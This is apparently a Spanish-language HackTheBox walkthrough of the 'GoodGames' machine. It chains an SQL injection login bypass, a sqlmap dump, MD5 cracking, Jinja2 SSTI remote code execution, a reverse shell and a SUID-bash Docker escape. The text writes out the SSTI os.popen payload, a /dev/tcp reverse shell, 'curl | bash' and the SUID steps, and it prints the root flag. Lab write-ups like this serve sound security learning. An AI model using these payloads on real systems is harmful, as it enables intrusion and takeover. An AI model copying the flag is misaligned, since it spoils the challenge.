GoodGames

HackTheBox — Linux · SQLi → sqlmap → Hash Cracking → SSTI Jinja2 → Reverse Shell → Docker Escape → Root

● FÁCIL HACKTHEBOX LINUX SQL INJECTION SSTI JINJA2 DOCKER ESCAPE SQLMAP 📅 Mayo 2026 · By Brandeiks

Resumen

GoodGames es una máquina de dificultad fácil de HackTheBox que corre Linux. Expone una aplicación web de tienda de videojuegos desarrollada con Python/Flask y un panel de administración interno basado en Flask Volt, ambos alojados en un contenedor Docker.

El ataque comienza con una SQL Injection en el formulario de login que permite acceder como administrador. Luego se usa sqlmap con una request de Burp Suite para dumpear la base de datos y extraer el hash MD5 del administrador, que se crackea con CrackStation obteniendo la contraseña superadministrator.

Con esas credenciales se accede al panel interno en internal-administration.goodgames.htb, donde el campo "Full Name" en Settings es vulnerable a Server Side Template Injection (SSTI) con Jinja2. Esto permite ejecutar comandos en el servidor — se sirve un reverse shell mediante curl | bash obteniendo acceso como root dentro del contenedor. Finalmente, se escapa del Docker hacia el host real usando SSH + escalada SUID sobre el binario bash.

FaseTécnica / HerramientaResultado
Reconocimientonmap -p- -sSCV --min-rate=5000Puerto 80 abierto — Werkzeug httpd / Python
SQLi bypass1' or 1=1-- - en emailAcceso como admin (admin@goodgames.htb)
Dump DBBurp Suite + sqlmapHash MD5: 2b22337f218b2d82dfc3b6f77e7cb8ec
Hash crackingCrackStation (MD5)Password: superadministrator
SSTI detección{{7*7}} en campo Full NameResultado 49 → vulnerable Jinja2
SSTI explotacióncurl 10.10.16.7 | bash → ncReverse shell como root en Docker
Docker EscapeSSH + cp bash + chown + chmod SUID./bash -p → root en host

Reconocimiento

1
VERIFICACIÓN DE CONECTIVIDAD — PING

Antes de escanear, se verifica que la máquina objetivo está activa con un ping de 3 paquetes. El TTL de respuesta (63) indica que es un sistema Linux (los sistemas Linux suelen tener TTL inicial de 64, que llega a 63 tras un salto de red).

PING
$ ping 10.129.1.192 -c 3
PING 10.129.1.192 (10.129.1.192) 56(84) bytes of data.
64 bytes from 10.129.1.192: icmp_seq=1 ttl=63 time=114 ms
64 bytes from 10.129.1.192: icmp_seq=2 ttl=63 time=113 ms
64 bytes from 10.129.1.192: icmp_seq=3 ttl=63 time=117 ms
 
--- 10.129.1.192 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 113.129/114.574/116.630/1.492 ms
2
ESCANEO COMPLETO CON NMAP

Se lanza un escaneo completo de todos los puertos TCP contra el objetivo. Las flags -sSCV activan el SYN scan sigiloso, detección de versión y scripts NSE. El resultado se exporta como XML con -oX para convertirlo luego a HTML con xsltproc.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 10.129.1.192 -oX goodgames.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-29 02:21 -0400
Nmap scan report for 10.129.1.192
Host is up (0.13s latency).
Not shown: 64512 closed tcp ports (reset), 1022 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open http    Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 30.67 seconds

// ANÁLISIS DEL SCAN

Nmap revela un único puerto abierto: el 80/tcp (HTTP) corriendo Werkzeug 2.0.2 con Python 3.9.2 — lo que indica una aplicación web Flask. El título HTTP confirma el sitio GoodGames. Al no haber SSH ni otros servicios expuestos, el vector de ataque es exclusivamente web.

3
CONVERSIÓN DEL REPORTE NMAP A HTML
XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl goodgames.xml > goodgames.html
4
INSPECCIÓN DEL SITIO WEB — PUERTO 80

Al acceder a http://10.129.1.192 se visualiza la plataforma GoodGames, una tienda y comunidad de videojuegos. El sitio tiene secciones de Blog y Store, y en la esquina superior derecha un ícono de login. Se navega al formulario de registro/login para explorar posibles vectores de ataque.


SQL Injection — Bypass de Login

5
BYPASS CON PAYLOAD SQLi CLÁSICO

En el formulario de login se prueba el payload de SQL Injection clásico en el campo de email: 1' or 1=1-- -. Este payload cierra la cadena SQL con la comilla simple, añade una condición siempre verdadera (1=1) y comenta el resto de la query con -- -. Como resultado, el servidor devuelve el primer usuario de la tabla, que corresponde al administrador.

SQLi PAYLOAD
# Campo email del formulario de login
email: 1' or 1=1-- -
password: [cualquier valor]
LOGIN SUCCESSFUL
WELCOME ADMIN
Redirecting you to profile page...

// ACCESO COMO ADMINISTRADOR CONFIRMADO

El bypass SQLi funciona y el servidor autentica al primer usuario de la base de datos: admin con email admin@goodgames.htb. Se accede al perfil de administrador donde se observa el Nick, email y fecha de unión. La aplicación no sanitiza los inputs del formulario de login — vulnerabilidad crítica.

6
REGISTRO DE CUENTA DE PRUEBA

Para poder interceptar un request legítimo con Burp Suite, se crea una cuenta de prueba con credenciales conocidas. Esto permitirá capturar la request POST del login y guardarla en request.txt para usar con sqlmap.

REGISTRO
# Credenciales de la cuenta de prueba
email: test@gmail.com
password: test123

sqlmap — Dump de Base de Datos

7
CAPTURA DE REQUEST CON BURP SUITE

Se configura Burp Suite como proxy y se realiza un login con la cuenta de prueba. La request POST al endpoint /login es interceptada y guardada en un archivo request.txt. Esta request contiene todos los headers necesarios que sqlmap utilizará para autenticarse y ejecutar las inyecciones.

POST /login HTTP/1.1
Host: 10.129.1.192
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.129.1.192
 
email=test%40gmail.com&password=test123
8
ENUMERACIÓN DE BASES DE DATOS
SQLMAP
$ sqlmap -r request.txt --dbs --batch
[02:44:46] [INFO] retrieved: main
available databases [2]:
[*] information_schema
[*] main
 
[02:45:07] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.129.1.192'
9
ENUMERACIÓN DE TABLAS EN BASE DE DATOS MAIN
SQLMAP
$ sqlmap -r request.txt -D main --tables --batch
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
10
DUMP DE LA TABLA USER
SQLMAP
$ sqlmap -r request.txt -D main -T user -C name,email,id,password --dump --batch
+-------+--------------------+----+----------------------------------+
| name | email | id | password |
+-------+--------------------+----+----------------------------------+
| admin | admin@goodgames.htb | 1 | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+-------+--------------------+----+----------------------------------+

// HASH MD5 EXTRAÍDO

El campo password del administrador contiene un hash MD5 de 32 caracteres. MD5 es un algoritmo de hashing débil que no usa salt, lo que facilita el crackeo mediante tablas rainbow o diccionarios online.

11
CRACKEO DEL HASH CON CRACKSTATION

Se utiliza CrackStation (https://crackstation.net/) para crackear el hash MD5. CrackStation es una herramienta online que usa tablas rainbow precalculadas con miles de millones de hashes. El hash 2b22337f218b2d82dfc3b6f77e7cb8ec es identificado inmediatamente como MD5 y el resultado es la contraseña en texto claro.

Hash: 2b22337f218b2d82dfc3b6f77e7cb8ec
Type: md5
Result: superadministrator

// CONTRASEÑA OBTENIDA

Credenciales del administrador: admin@goodgames.htb / superadministrator. Esta contraseña también se reutiliza en SSH del host real, lo que demuestra el peligro del password reuse.


SSTI — Flask Volt Admin Panel

12
AÑADIR HOST AL /ETC/HOSTS

En el perfil de administrador de GoodGames se observa un ícono de tuerca (settings) que redirige al dominio internal-administration.goodgames.htb. Para que el navegador resuelva este dominio, se agrega la entrada al archivo /etc/hosts.

HOSTS
$ sudo nano /etc/hosts
# Agregar la siguiente línea:
10.129.1.192    internal-administration.goodgames.htb
13
ACCESO AL PANEL FLASK VOLT

Al navegar a http://internal-administration.goodgames.htb/login se presenta el panel Flask Volt — un dashboard de administración open-source basado en Flask. Se ingresa con las credenciales del administrador: admin / superadministrator.

FLASK VOLT
Username: admin
Password: superadministrator
14
DETECCIÓN DE SSTI EN CAMPO FULL NAME

En la sección Settings del panel se observa que el campo Full Name refleja el input directamente en el perfil. Se prueba el payload de detección de SSTI más básico para Jinja2: {{7*7}}. Si el motor de plantillas evalúa la expresión en lugar de mostrarla como texto, el resultado debería ser 49.

SSTI TEST
# Payload de detección en campo Full Name
Full Name: {{7*7}}
# Resultado reflejado en el perfil:
Nick: 49
admin
admin@goodgames.htb

// SSTI JINJA2 CONFIRMADO

El resultado 49 confirma que la aplicación evalúa expresiones Jinja2 sin sanitizar. La función render_template_string() de Flask está procesando el input del usuario directamente — esto permite ejecutar código Python arbitrario en el servidor.

15
VERIFICAR RCE CON HOSTNAME -I

Se utiliza el payload SSTI de PayloadsAllTheThings para Jinja2 que llama a os.popen() y ejecuta un comando del sistema. Se prueba hostname -I para verificar la dirección IP del servidor.

SSTI RCE
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('hostname -I').read() }}
Nick: 172.19.0.2

// DENTRO DE UN CONTENEDOR DOCKER

La IP 172.19.0.2 pertenece a una red Docker interna — confirma que el servidor web corre dentro de un contenedor Docker. El host real estará en 172.19.0.1 (el gateway de la red Docker).


Reverse Shell — Acceso al Contenedor

16
PREPARAR EL PAYLOAD DE REVERSE SHELL

Se crea un archivo index.html con el payload de reverse shell en bash. Este archivo se servirá desde nuestra máquina y será descargado y ejecutado por el servidor víctima mediante el SSTI.

BASH
$ nano index.html
 
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.7/443 0>&1
17
SERVIDOR HTTP EN NUESTRA MÁQUINA

Se levanta un servidor HTTP con Python3 para servir el archivo index.html en el puerto 80. El servidor víctima lo descargará mediante curl y lo pasará directamente a bash.

HTTP SERVER
$ python3 -m http.server 80
18
LISTENER NETCAT EN PUERTO 443
NETCAT
$ nc -nlvp 443
19
TRIGGER: CURL + BASH VÍA SSTI

Primero se verifica la conectividad con un curl 10.10.16.7 que descarga el index.html (Paso 24 en el PDF). Confirmada la conexión, se ejecuta el payload final que descarga y ejecuta el reverse shell en un solo comando: curl 10.10.16.7 | bash.

SSTI → RCE
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl 10.10.16.7 | bash').read() }}
# En el listener netcat:
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.129.1.192] 42254
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
root
root@3a453ab39d3d:/backend#

// SHELL COMO ROOT — DENTRO DEL DOCKER

Se obtiene una shell como root dentro del contenedor Docker (hostname 3a453ab39d3d). Se puede navegar por el sistema de archivos del contenedor, pero hay que escapar hacia el host real para obtener las flags.


Docker Escape — Escalada al Host

20
TTY ESTABLE Y ACCESO SSH AL HOST

Se estabiliza la shell con script /dev/null -c bash. Luego se determina la IP del host real usando route -n, que muestra el gateway de la red Docker: 172.19.0.1. Se intenta SSH al host con el usuario augustus reutilizando la contraseña superadministrator — y funciona.

DOCKER SHELL
root@3a453ab39d3d:/backend# script /dev/null -c bash
SSH
root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1
# Password: superadministrator
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator
 
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
 
augustus@GoodGames:~$

// PASSWORD REUSE — VECTOR CRÍTICO

La contraseña superadministrator extraída del hash MD5 de la base de datos web también es la contraseña SSH del usuario augustus en el host real. Este es el peligro del password reuse: una sola credencial comprometida da acceso a múltiples sistemas.

21
TÉCNICA SUID BASH — COPIAR BASH AL HOME DE AUGUSTUS

Estando en el Docker como root, el directorio /home/augustus del contenedor es el mismo que el del host (volumen montado). Se copia /bin/bash al directorio home del usuario. Luego, desde la sesión SSH en el host (como augustus), se vuelve al contenedor Docker donde somos root para modificar los permisos del binario copiado.

DOCKER — ROOT
root@3a453ab39d3d:/home/augustus# cp /bin/bash .
22
CHOWN Y CHMOD 4755 — SETUID COMO ROOT

Desde el Docker (somos root), se cambia el propietario del binario bash copiado a root:root y se le asigna el bit SUID con chmod 4755. El bit SUID hace que el binario se ejecute con los privilegios del propietario (root) independientemente de quién lo lance.

DOCKER — ROOT
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4755 bash
total 1148
-rwsr-xr-x 1 root root 1168776 May 29 09:42 bash
-rw-r----- 1 root 1000      33 May 29 03:14 user.txt
23
EXPLOTAR SUID — ./BASH -P → ROOT EN EL HOST

Desde la sesión SSH como augustus en el host real, se ejecuta el binario bash SUID con la flag -p (privileged mode), que preserva el UID efectivo del propietario del archivo (root) sin hacer drop de privilegios. Obtenemos una shell como root en el host.

HOST — AUGUSTUS
augustus@GoodGames:~$ ./bash -p
./bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# ls
root.txt
bash-5.0# cat root.txt
a2d96b0e549b31519ceaa3e630d34104

Flags

24
USER FLAG — /home/augustus/user.txt
LINUX
bash-5.0# cat /home/augustus/user.txt
[user flag hash]
25
ROOT FLAG — /root/root.txt
LINUX
bash-5.0# cat /root/root.txt
a2d96b0e549b31519ceaa3e630d34104
// USER FLAG
/home/augustus/user.txt
// ROOT FLAG
a2d96b0e549b31519ceaa3e630d34104

Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de todos los puertos TCP con detección de servicios, versiones y scripts NSE.
  • -p- → Todos los 65,535 puertos
  • -sS → SYN scan (sigiloso)
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versión
  • --min-rate=5000 → Mínimo 5000 paquetes/seg
  • -oX → Salida en formato XML
sqlmap
sqlmap -r request.txt -D <db> -T <tabla> --dump --batch
Automatiza SQL Injection usando una request HTTP guardada desde Burp Suite para extraer datos de la base de datos.
  • -r request.txt → Request HTTP capturada
  • --dbs → Listar bases de datos
  • -D main --tables → Listar tablas
  • -T user -C name,pass --dump → Extraer columnas
  • --batch → Respuesta automática sin prompts
SSTI Jinja2
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cmd').read() }}
Payload SSTI para ejecutar comandos del sistema operativo en aplicaciones Flask/Jinja2 sin filtros de __builtins__.
  • {{7*7}} → Detección básica (→ 49)
  • hostname -I → Verificar IP del servidor
  • curl IP | bash → Ejecutar reverse shell
  • PayloadsAllTheThings → Repositorio de payloads
Docker Escape — SUID
cp /bin/bash . → chown root:root bash → chmod 4755 bash → ./bash -p
Técnica de escape de Docker aprovechando un volumen compartido entre el contenedor (root) y el host (usuario normal).
  • cp /bin/bash . → Copiar bash al home montado
  • chown root:root → Propietario root (desde Docker)
  • chmod 4755 → Asignar bit SUID
  • ./bash -p → Ejecutar en modo privilegiado
  • route -n → Identificar IP del host (gateway)

Glosario

SQL Injection (SQLi)
SQL Injection es una vulnerabilidad que ocurre cuando una aplicación incorpora datos del usuario directamente en queries SQL sin sanitizarlos. Un atacante puede insertar código SQL malicioso que altera la lógica de la query original. El payload 1' or 1=1-- - cierra la cadena de texto con la comilla simple, añade una condición siempre verdadera y comenta el resto de la query, haciendo que el servidor autentique al primer usuario de la tabla sin verificar la contraseña.
sqlmap
sqlmap es una herramienta open-source que automatiza la detección y explotación de vulnerabilidades de SQL Injection. Soporta múltiples técnicas de inyección (boolean-based, time-based, error-based, UNION-based, stacked queries) y puede dumpear bases de datos completas, leer archivos del sistema, e incluso ejecutar comandos. La flag -r request.txt permite usar una request HTTP completa capturada con Burp Suite, incluyendo todos los headers y cookies necesarios para la autenticación.
SSTI — Server Side Template Injection
SSTI (Server Side Template Injection) ocurre cuando el motor de plantillas de un servidor web procesa input del usuario como código de plantilla en lugar de texto literal. En Flask/Jinja2, la función render_template_string() es especialmente peligrosa si recibe input del usuario directamente, ya que Jinja2 puede acceder a objetos Python internos y ejecutar código arbitrario. La detección se hace con {{7*7}} — si responde 49, la aplicación evalúa la expresión.
Jinja2 — Motor de Plantillas
Jinja2 es el motor de plantillas por defecto de Flask. Permite generar HTML dinámico usando expresiones entre dobles llaves {{ }} y estructuras de control entre {% %}. En condiciones normales, Jinja2 sanitiza el contexto de ejecución, pero cuando se usa render_template_string() con input no sanitizado, un atacante puede traversar la jerarquía de objetos Python para alcanzar módulos del sistema operativo como os.popen() y ejecutar comandos arbitrarios.
Docker — Contenedores y Escape
Docker es una plataforma de virtualización a nivel de sistema operativo que permite ejecutar aplicaciones en contenedores aislados. Aunque los contenedores proporcionan aislamiento, pueden ser vulnerables al "container escape" — escapar al sistema host. Una técnica común es aprovechar volúmenes montados: si el directorio home de un usuario del host está montado en el contenedor y tenemos root en el contenedor, podemos colocar un binario SUID en ese directorio que luego es ejecutable desde el host.
SUID — Set User ID
El bit SUID (Set User ID) es un permiso especial en Linux que hace que un ejecutable corra con los privilegios del propietario del archivo en lugar del usuario que lo ejecuta. Si un binario propiedad de root tiene el bit SUID activo (chmod 4755), cualquier usuario del sistema puede ejecutarlo con privilegios de root. Esto es un vector clásico de escalada de privilegios. La flag -p de bash activa el "privileged mode" que no descarta el UID efectivo heredado del SUID.
MD5 — Algoritmo de Hashing Débil
MD5 (Message Digest Algorithm 5) produce un hash de 128 bits (32 caracteres hexadecimales). Es considerado criptográficamente roto: es extremadamente rápido de calcular (permitiendo ataques de fuerza bruta masivos), no usa salt por defecto (vulnerable a tablas rainbow), y se han encontrado colisiones. Para almacenar contraseñas, MD5 nunca debería usarse — los algoritmos modernos como bcrypt, scrypt o Argon2 son las alternativas seguras porque son deliberadamente lentos y usan salt.
Password Reuse — Reutilización de Contraseñas
La reutilización de contraseñas es una de las prácticas de seguridad más peligrosas. En GoodGames, la contraseña superadministrator se usaba tanto para el panel web como para la cuenta SSH del host real. Esto significa que comprometer una sola contraseña (en este caso mediante SQLi + hash cracking) da acceso a múltiples sistemas. Los gestores de contraseñas y el uso de credenciales únicas por servicio son la solución a este problema.
Werkzeug / Flask
Werkzeug es la librería WSGI subyacente de Flask, el microframework web de Python. En el escaneo Nmap aparece como el servidor HTTP del objetivo (Werkzeug httpd 2.0.2 Python/3.9.2). Flask es ligero y flexible pero no incluye protecciones de seguridad automáticas — el desarrollador es responsable de sanitizar inputs, manejar correctamente las plantillas y configurar la autenticación. La falta de estas protecciones en GoodGames resulta en las vulnerabilidades SQLi y SSTI.
Reverse Shell
Una reverse shell es una conexión donde la máquina víctima se conecta de vuelta hacia el atacante, en lugar del flujo normal. El atacante abre un listener (nc -nlvp 443) y cuando el exploit se ejecuta (en este caso via SSTI), la víctima establece la conexión. La técnica curl IP | bash permite descargar y ejecutar el payload en un solo paso sin escribir archivos en el sistema víctima primero, lo que dificulta la detección.